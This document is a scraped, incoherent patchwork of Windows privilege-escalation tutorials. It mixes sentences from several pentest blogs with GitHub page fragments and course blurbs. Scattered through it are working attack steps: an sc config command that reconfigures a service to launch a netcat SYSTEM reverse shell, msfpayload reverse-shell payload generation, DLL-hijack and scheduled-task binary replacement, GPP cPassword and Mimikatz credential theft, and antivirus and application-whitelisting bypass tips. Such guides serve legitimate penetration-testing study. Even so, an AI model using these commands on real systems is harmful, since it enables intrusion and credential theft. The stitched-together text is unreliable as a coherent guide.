Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. c:\sysprep.inf In the active mode, the server has to connect back to the client to establish data connection for a file transfer. Once you grasp the general idea you will be able to apply these techniques to other situations. In this case Parvez discovered that certain Windows services attempt to load DLL's that do not exist in default installations. GPO preference files can be used to create local users on domain machines. If you are on CMD you can use this handy one-liner to execute the same powershell command, Windows file transfer script that can be pasted to the command line. That brings us to the active network connections and the firewall rules. In this case the service will execute netcat and open a reverse shell with SYSTEM level privileges. Prior to successfully performing a Windows run as, we of course need a valid windows username and password. Once this is done we need to wait patiently for the machine to be rebooted (or we can try to force a reboot) and we will get a SYSTEM shell. On top of that the patch time window of opportunity is small. You can see some sample file output below. However we all like automated solutions so we can get to the finish line as quickly as possible. I like run with all the audit enabled like so: The windows-privesc-check will create a detailed HTML report and text based report for your review. https://github.com/gentilkiwi/mimikatz, The original and most frequently updated version of Mimikatz is the binary executable which can be found here: Once that is done we can get an early night sleep and wake up for our shell in the morning. Windows services are kind of like application shortcut's, have a look at the example below. Command-Line Ninjitsu (SynJunkie) - here However for the purpose of this example we can simple overwrite the binary with an executable generated by metasploit. exe > /root/Desktop/evil-tftp.exe, Windows Privilege Escalation Fundamentals. There is an easy way without the need to use an external tool - it runs fine with Windows 7, 8, 8.1 and 10 and is backwards-compatible too (Windows XP doesn't have any UAC, thus elevation is not needed - in that case the script just proceeds).. This will bypass most WinRM restrictions, as Windows is unaware the process is running under WinRM when become is used. Nearly every malicious activity imaginable is possible with PowerShell: privilege escalation, credential theft, lateral movement, data destruction, persistence, data exfiltration, and much more. I like to use the Python Simple HTTP Server: Or the Python pyftpdlib FTP Server (again don't run from TMUX): In my experiance, VBScript is one of the easiest methods of transfering files to a remote Windows. Now, if we dont have an overly interactive shell, we will want to execute Mimikatz without the built in CLI by passing the correct parameters to the executable. Not many people talk about serious Windows privilege escalation which is a shame. So lets dig into the dark corners of the Windows OS and see if we can get SYSTEM. This guide assumes you are starting with a very limited shell like a webshell, netcat reverse shell or a remote telnet connection. We will start off with Windows services as there are some quick wins to be found there. Since the DLL in question does not exist we will end up traversing all the search paths. Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. https://daya.blog/2018/01/06/windows-privilege-escalation/ Windows Privilege Escalation Techniques and Scripts. Finally I want to give a shout out to my friend Kostas who also really loves post-exploitation, you really don't want him to be logged into your machine hehe. In addition to Groups.xml several other policy preference files can have the optional "cPassword" attribute set: If nothing happens, download Xcode and try again. There are a couple of solutions to install machines automatically. Upgrade Windows Command Line with a Powershell One-liner Reverse Shell: Netcat Reverseshell Oneliners for Windows, Running Windows Privesc Check (windows-privesc-check), Running JAWS - Just Another Windows (Enum) Script, https://github.com/SecureAuthCorp/impacket, https://github.com/gentilkiwi/mimikatz/releases, https://daya.blog/2018/01/06/windows-privilege-escalation/, https://pentestlab.blog/2017/04/19/stored-credentials/, https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/, https://github.com/egre55/ultimate-file-transfer-list, https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/, http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html, https://blog.ropnop.com/transferring-files-from-kali-to-windows/#smb. There is to much ground to cover here so instead I will show you two kinds of permission vulnerabilities and how to take advantage of them. Here are a few oneliners you can use to upgrade your shell: Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. It allows for the extraction of plaintext credentials from memory, password hashes from local SAM/NTDS.dit databases, advanced Kerberos functionality, and more. It sometimes happens that applications attempt load DLL's that do not exist on the machine. In this final part we will look at Windows services and file/folder permissions. Sample output file on a Windows 7 VM (badly patched) - here. First, on the target system we will need to check the versions of .Net that have been installed by navigating to the .net framework folder and poking around: Only active versions of .NET will have the msbuild.exe. https://lolbas-project.github.io/. Here is my step-by-step windows privlege escalation methodology. You can use PowerShell.exe to start a PowerShell session from the command line of another tool, such as Cmd.exe, or use it at the PowerShell command line to start a new session. I have tried to structure this tutorial so it will apply in the most general way to Windows privilege escalation. https://lolbas-project.github.io/ Now we will need to copy the 3 files (win32 or x64 depending on the OS) required to run Mimikatz to the remote server. No prior PowerShell scripting experience is required to take the course because you will learn PowerShell along the way. Before continuing on you should take a moment to review the information that you have gathered so far as there should be quite a bit by now. Next on our list is networking, what is the machine connected to and what rules does it impose on those connections. Before running the Powershell script, you might need to set your ExecutionPolicy to Unrestricted if you haven’t already. Hopefully by now we already have a SYSTEM shell but if we don't there are still a few avenues of attack left to peruse. Not to mention that some of the output would be difficult to display due to the formatting. Now we know the necessary conditions are met we can generate a malicious DLL and pop a shell! Lets compare the output on Windows 8 and on Windows XP SP0. Most of these will require that we create a simple local webserver on our Kali box to sevre the files (NOTE: I have had issues running this command within TMUX for whatever reason... so dont run it in TMUX). First let's find out what OS we are connected to: Next we will see what the hostname is of the box and what user we are connected as. Physical attacks. All that remains now is to upload our malicious executable and overwrite "E:\GrabLogs\tftp.exe". My WMIC script will already list all the installed patches but you can see the sample command line output below. It will prompt you to reopen the project. Now go forth and pop SYSTEM!! We can check the required privilege level for each service using accesschk. Lets have a look if we have write access to this folder. That is all we need to know about users and permissions for the moment. Check for python, Sometimes a Windows machine will have development tools like PERL installed. Winscp is capable of connecting to an FTP server using passive mode and will not be blocked by the firewall. Sometimes we will want to upload a file to the Windows machine in order to speed up our enumeration or to privilege escalate. Using the KB patch numbers you can grep the installed patches to see if any are missing. Test to see if we can run Powershell Version 2: Try to download a file from a remote server to the windows temp folder from the Windows command line: OR This one seems to work better while at the console: Sometimes a Windows machine will have development tools like Python installed. https://medium.com/@hakluke You will need to take time to examine ALL the binpaths for the windows services, scheduled tasks and startup tasks. Contrary, default installations of Windows 7 Professional and Windows 8 Enterprise allowed low privilege users to use WMIC and query the operating system without modifying any settings. https://lolbas-project.github.io/. https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ I have listed two resources below that are well worth reading on the subject matter: Everything is set up, all we need to do now is wait for a system reboot. As mentioned previously "Power Users" is also considered to be a low privileged user group. Check for PERL. Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). Typically these are the directories that contain the configuration files (however it is a good idea to check the entire OS): https://blog.ropnop.com/transferring-files-from-kali-to-windows/#smb. From the screenshot below you we can see that we are presented with our SYSTEM shell promptly at 9AM. To give you an idea about the extensive options that WMIC has I have listed the available command line switches below. Printers\Printers.xml: SharedPrinter Element You can see the sytntax to query the respective registry keys below. Abuse enterprise applications to execute complex attack paths that involve bypassing antivirus and pivoting to different machines. Now we can run this from the remote Windows CMD shell: Sherlock has been superceded by a .net Windows enumeration platform called Watson which is frequently updated by the author. Event if PowerShell v5 is installed with system-wide transcript or script block logging. See the Understanding privilege escalation: become documentation for more information. Do some basic enumeration to figure out who we are, what OS this is, what privs we have and what patches have been installed. Escaping from KIOSKs. AV Bypass. These files either contain clear-text passwords or in a Base64 encoded format. The important thing to remember is that we find out what user groups our compromised session belongs to. Let's have a look at how this works in practise, for our example we will be using the IKEEXT (IKE and AuthIP IPsec Keying Modules) service which tries to load wlbsctrl.dll. https://gist.github.com/egre55 Tutorials | You can download my script (wmic_info.bat) - here Arguments $1 - the id of the Beacon to host this script with. The password in the xml file is "obscured" from the casual user by encrypting it with AES, I say obscured because the static key is published on the msdn website allowing for easy decryption of the stored value. Finally we will examine file/folder permissions, if we can not attack the OS directly we will let the OS do all the hard work. To finish off this section we will do some quick searching on the operating system and hope we strike gold. This issue was later resolved with the introduction of XP SP2, however on SP0&SP1 it can be used as a universal local privilege escalation vulnerability. The downside of this script is that it was written in Python and if the target system does not have Python installed, you will need to use an executable version that has a Python interpreter built in. You can check to see if the remote machine has Winscp.exe installed. BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. DataSources\DataSources.xml: Element-Specific Attributes. Powershell.exe. %WINDIR%\Panther\Unattend\Unattended.xml You can see the syntax to grep the patches below: Next we will have a look at mass rollouts. As a low privilege user we have little hope of putting a malicious DLL in 1-4, 5 is not a possibility in this case because we are talking about a Windows service but if we have write access to any of the directories in the Windows PATH we win. Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report. "Power Users" have their own set of vulnerabilities, Mark Russinovich has written a very interesting article on the subject. HTML: Background Intelligent Transfer Service (BITS) is a component of Microsoft Windows XP and later iterations of the operating systems, which facilitates asynchronous, prioritized, and throttled transfer of files between machines using idle network bandwidth. Browsing through Windows Explorer allows us to determine that there is an open share, but that our current account can’t access it (which usually equates to list permissions). Hunt for local admin privileges on machines in the target domain using multiple methods. Windows WMIC Command Line (ComputerHope) - here For full, comprehensive documentation of the tool and all of its commands, see bitsadmin and bitsadmin examples in the Windows IT Pro Center. Vulnerable, in this case, means that we can reconfigure the service parameters. The Windows command-line ftp.exe supports the FTP active mode only. Learn more. And we should see the following output start to appear: Leveraging credentials is still the most common ways of privledge escalation in Windows environments. https://github.com/SecureAuthCorp/impacket. The Power in Power Users (Mark Russinovich) - here It should be noted that I'll be using various versions of Windows to highlight any commandline differences that may exist. 4 - Windows directory (C:\Windows) Before finishing off I'd like to give you a few final pointers on using accesschk. Contact, systeminfo | findstr /B /C:"OS Name" /C:"OS Version", wmic qfe get Caption,Description,HotFixID,InstalledOn, wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB..", reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated, reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated, dir /s *pass* == *cred* == *vnc* == *.config*, accesschk.exe -uwcqv "Authenticated Users" *, sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe", sc config upnphost obj= ".\LocalSystem" password= "", msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O, msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > If there is an environment where many machines need to be installed, typically, a technician will not go around from machine to machine. After transferring the DLL to our target machine all we need to do is rename it to wlbsctrl.dll and move it to "C:\Python27". What is running on the machine? Some high-level bypass techniques: Use LOLBAS if only (Microsoft-)signed binaries are allowed. From my testing with VM's I noticed that any version of XP did not allow access to WMIC from a low privileged account. This problem can be mitigated by having the application specify absolute paths to the DLL's that it needs. Now, with a target host HUB-FILER and a target share: \share we can run a PowerShell script to enumerate the ACLs on the target. The only downside is that the file size you can transfer is rather limited. We are also going to look a a few automated methods of performing Windows Enumeration including: The Windows Privesc Check is a very powerful tool for finding common misconfigurations in a Windows system that could lead to privledge escalation. This example is a special case of DLL hijacking. References Unfortunately some default configurations of windows do not allow access to WMIC unless the user is in the Administrators group (which is probably a really good idea). First lets test to see if we can run VBScript. An attack signature is a unique arrangement of information that can be used to identify an attacker's attempt to exploit a known operating system or application vulnerability. BUT we can modify the exploit to call a reverse shell. To simplify things I have created a script which can be dropped on the target machine and which will use WMIC to extract the following information: processes, services, user accounts, user groups, network interfaces, Hard Drive information, Network Share information, installed Windows patches, programs that run at startup, list of installed software, information about the operating system and timezone. To be able to use this we need to check that two registry keys are set, if that is the case we can pop a SYSTEM shell. https://github.com/gentilkiwi/mimikatz/releases, First we will need to download a Mimikatz binary and copy it to the remote machine. http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html These two examples should give you an idea about the kind of vulnerabilities we need to look for when considering file/folder permissions. This may occur due to several reasons, for example if the DLL is only required for certain plug-ins or features which are not installed. If you want to truly master the subject you will need to put in a lot of work and research. 2 - 32-bit System directory (C:\Windows\System32) Here is a oneliner powershell script to verify a username / password is valid on the local system: Switching users in linux is trival with the SU command. If nothing happens, download GitHub Desktop and try again. You can run this oneliner from the remote Windows command prompt to skip the file upload step entirely (again be sure to update the IP and port): Sometimes it is helpful to create a new Netcat session from an existed limited shell, webshell or unstable (short lived) remote shell. Here are 3 ways to run a command as a different user in Windows. NOTE There are many executables that could provide privledge escalation if they are being run by a privledged user, most can be found on the incredible LOLBAS project: Not being updated. https://pentestlab.blog/2017/04/19/stored-credentials/ Ideally for a pentesting engagement I would grab the TFTP client, backdoor the PE executable while making sure it still worked flawlessly and then drop it back on the target machine. Encyclopaedia Of Windows Privilege Escalation (Brett Moore) - here. On the recommendation of Ben Campbell (@Meatballs__) I'm adding Group Policy Preference saved passwords to the list of quick fails. https://github.com/GhostPack/Seatbelt The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe: PowerShell can also be used to launch a process as another user. PowerSploit is an excellent powershell framework, by Matt Graeber, tailored to reverse engineering, forensics and pentesting. Sherlock is a powershell library with a number of privledge escalation checkers built in. You can see the DLL search order on 32-bit systems below: First we will need to clone the latest version to our environment: Next we will need to setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from: Now we will need to transfer the file to our remote windows box: And now we run the executeable on the remote machine. DLL hijacking usually happens by placing a malicious DLL in one of these paths while making sure that DLL is found before the legitimate one. For demo purposes I have included a screenshot below where I use an Administrator command prompt to manually restart the service. And it can also be used to transfer files :D Now we have this basic information we list the other user accounts on the box and view our own user's information in a bit more detail. Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. /root/Desktop/evil.dll, msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t Generally a Windows application will use pre-defined search paths to find DLL's and it will check these paths in a specific order. Generally modern operating systems won't contain vulnerable services. After running the python ftp lib on (python -m pyftpdlib -p 21) on Kali, you can try connecting using the windows FTP client: If you are seeing a 421 timeout when you try to send a command it is likely because your connection is being blocked by the windows firewall. Learn and practice different local privilege escalation techniques on a Windows machine. https://github.com/egre55/ultimate-file-transfer-list II. Local Privilege Escalation . We will even write a PowerShell ransomware script together in a lab in order to implement better ransomware defenses. Such exploits include, but are not limited to, KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799). We will look at 4 ways of uploading files to a remote Windows machine from Kali Linux: NOTE There are MANY more ways to move files back and forth between a Windows machine, most can be found on the LOLBAS project: Check out this code (I was inspired by the code by NIronwolf posted in the thread Batch File - "Access Denied" On Windows 7? The scripts are written on the basis of requirement by the author during real Penetration Tests. ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element Root dance. We will need to modify line 330 of the exploit (the ip address and port will need to be updated of course): Or if you wanted to upload the exploit, you can always run it like this: On our Kali machine we create the reverse shell and ... BOOM! Links | These configuration files contain a lot of sensitive sensitive information such as the operating system product key and Administrator password. Next we will copy our Watson.exe to our Kali instance and setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from: Now we will need to transfer the compiled Watson.exe file to our remote windows box: JAWS is another powershell library that was built with privledge escalation of the OSCP lab machines in mind. We can see that this task runs each day at 9 AM and it runs with SYSTEM level privileges (ouch). There is no need to worry ourself further if we see that the host is badly patched. 5 - The current working directory (CWD) Download the latest version of Watson from github: And open it using Visual Studio. We can stage and run JAWS on a remote http server so the file never needs to hit the remote server's HDD. Clearly this is a serious configuration issue, there is no need for this task to run as SYSTEM but even worse is the fact that any authenticated user has write access to the folder. Windows Attacks: AT is the new black (Chris Gates & Rob Fuller) - here. For our first example we will replicate the results of a post written by Parvez from GreyHatHacker; "Elevating privileges by exploiting weak folder permissions". Depending on how you manage your servers, you should have a few options to deploy this Powershell script to multiple systems. There is (1) a metasploit module which can be executed through an established session here or (2) you can use Get-GPPPassword which is part of PowerSploit. Kali comes loade with the incredible Impacket library which is a swiss army knife of network protocols... just Awesome. This function is a way to run large scripts when there are constraints on the length of your PowerShell one-liner. You can easily create a SMB share on your local Kali machine and move files between Kali and Windows with ease. Let's have a look how this is done in practise. We use the log parameter to also log the clear password results to a file (just in case we are unable to see the output). There are two main options here, depending on the kind of shell/access that we have. For more background reading on this issue you can have a look here at an article by Parvez from GreyHatHacker who originally reported this as a security concern. Android APK Checklist. As always with Windows, the output isn't exactly ready for use. This vulnerability can be exploited by manually browsing SYSVOL and grabbing the relevant files as demonstrated below. Malicious PowerShell is being used in the wild, and CrowdStrike has seen an uptick in the number of advanced adversaries employing it during breaches. We can stage and run sherlock on a remote http server so the file never needs to hit the remote server's HDD. Drives\Drives.xml: Element-Specific Attributes We can already see that user1 is not part of the localgroup Administrators. Using the built-in output features the script will write all results to a human readable html file. Attacker Machine: Kali Linux; Victim Machine: Windows; File to transfer: Putty.exe; IWR (Invoke-Web Request) Attacker Machine: Let us go to the local directory from where you are going to upload the file into the victim machine. There was a problem preparing your codespace, please try again. The best strategy is to look for privilege escalation exploits and look up their respective KB patch numbers. Read more from the official website of Microsoft Windows from here. There are also some no-so-well documented PowerShell argument shortcuts so can use things like -w rather than -WindowsStyle (handy for smaller payloads): You might find that you are connected with a limited shell such as a Web shell, netcat shell or Telnet connection that simply is not cutting it for you. And Execute the remote powershell script hosted on your Kali SimpleHTTPServer. Fully explaining the use of WMIC would take a tutorial all of it's own. There seems to be a TFTP client on the box which is connecting to a remote host and grabbing some kind of log file. The post CVE-2021-1815 - macOS local privilege escalation via Preferences first appeared on Offensive Security. Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging . Also keep in mind that you may sometimes end up elevating your privileges to Administrator. Indispensable Resources: It has not been updated for a while, but it is still as effective today as it was 5 years ago. Elevating privileges by exploiting weak folder permissions (Parvez Anwar) - here. By reconfiguring the service we can let it run any binary of our choosing with SYSTEM level privileges. records the start and stop of script blocks, by script block ID, in EIDs 4105 and 4106. For our final example we will have a look at the scheduled tasks. Requirements. https://www.abatchy.com/ 1 - The directory from which the application loaded Use Git or checkout with SVN using the web URL. Symantec security products include an extensive database of attack signatures. This is a great privilege escalation write-up and I highly recommend that you read his post here. The following powershell commands can be used to capture a screen shot of the remote computers desktop and store it as a BMP file. If Windows is an older version of windows (Windows 8 or Server 2012 and below) use the following script: If Windows is a newer version (Windows 10 or Server 2016), try the following code: Now try to download a file to the local path: I've found that CertUtil can be quite reliable when all else seems to fail. An important thing to remember here is that we check the time/timezone on the box we are trying to compromise. Otherwise we can use the Mimikatz shell to get the passwords: The Powershell version is not as frequently updated, but can be loaded into memory without ever hitting the HDD (Fileless execution). If we are able to run WMIC we can pull rich details on the services and applications running: Has a Windows Auto-login Password been set? After enumerating the OS version and Service Pack you should find out which privilege escalation vulnerabilities could be present. Windows uses access tokens to determine the ownership of a running process. Keep this in mind as various OS/SP differences may exist in terms of commands not existing or generating slightly different output. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line), No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial). Basic notes on Windows Enumeration from the OSCP. WIMIC can be very practical for information gathering and post-exploitation. To do that, run this command in Powershell and select Y: Set-ExecutionPolicy Unrestricted Conclusion. https://github.com/rasta-mouse/Watson File transfers to a Windows machine can be tricky without a Meterpreter shell. What we are most interested in is the Admin password as we can use that to elevate our privileges. This guide assumes you are starting with a very limited shell like a webshell, netcat reverse shell or a remote telnet connection. It is a bit tricker to deploy and use as you need to compile it yourself and match the version of .net with the target system's version. In SEC505 you will learn how to use PowerShell to automate Windows security and harden PowerShell itself. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system). III. Escalating privileges from Administrator to SYSTEM is a non-issue, you can always reconfigure a service or create a scheduled task with SYSTEM level privileges. $2 - the script … What these methods are and how they work is less important for our purposes but the main thing is that they leave behind configuration files which are used for the installation process. ; If binaries from C:\Windows are allowed, try dropping your binaries to C:\Windows\Temp or C:\Windows\Tasks.If there are no writable subdirectories but writable files exist in this directory tree, write your file to an alternate data stream (e.g.
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